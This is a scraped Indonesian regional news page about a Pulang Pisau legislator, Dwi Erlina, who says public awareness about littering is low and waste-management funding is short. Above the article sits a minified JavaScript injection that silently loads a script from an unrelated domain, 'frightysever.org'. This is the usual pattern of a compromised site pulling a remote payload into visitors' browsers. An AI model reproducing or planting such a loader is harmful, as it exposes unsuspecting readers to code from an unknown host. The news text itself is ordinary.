(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PULANG PISAU – Kesadaran masyarakat membuang sampah pada tempatnya dinilai masih rendah. Terbukti, masih ditemukan sampah di sungai dan anak sungai di kota Pulang Pisau.
“Kesadaran masyarakat membuang sampah pada tempatnya ini penting dipahami, sebab akibat membuang sampah sembarangan sangat berdampak buruk bagi kebersihan dan kesehatan masyarakat itu sendiri,” kata Dwi Erlina, Anggota DPRD Kabupaten Pulang Pisau, Kamis (3/8/2023).
Selain kesadaran masyarakat membuang sampah pada tempatnya, lanjut Dwi Erlina, pengelolaan sampah di kota Pulang Pisau masih perlu ditingkatkan.
Sebab faktanya masih banyak tempat pembungan sampah sementara yang meluber ke pinggir jalan dan menimbulkan bau tidak sedap saat warga melintas.
Baca juga: SKPD di Pemkab Banjar Diimbau Bikin Skema Penyelesaian Program Kegiatan
Politisi perempuan dari partai NasDem ini mengakui, keterbatasan anggaran di Dinas Lingkungan Hidup untuk menangani persampahan menjadi kendala untuk memaksimalkan pengelolaan sampah di Pulang Pisau.
“Sebagai mitra kerja, tentu akan kami dukung pengusulannya. Yang penting konsep pengelolaannya dibuat, dan sarana apa saja yang diperlukan, nanti dalam pembahasan kita akan dorong kawan-kawan di dewan untuk menyetujui usulannya,” pungkasnya. (Kanalkalimantan.com/ahmad bahrawi)
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More
KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More
KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
This website uses cookies.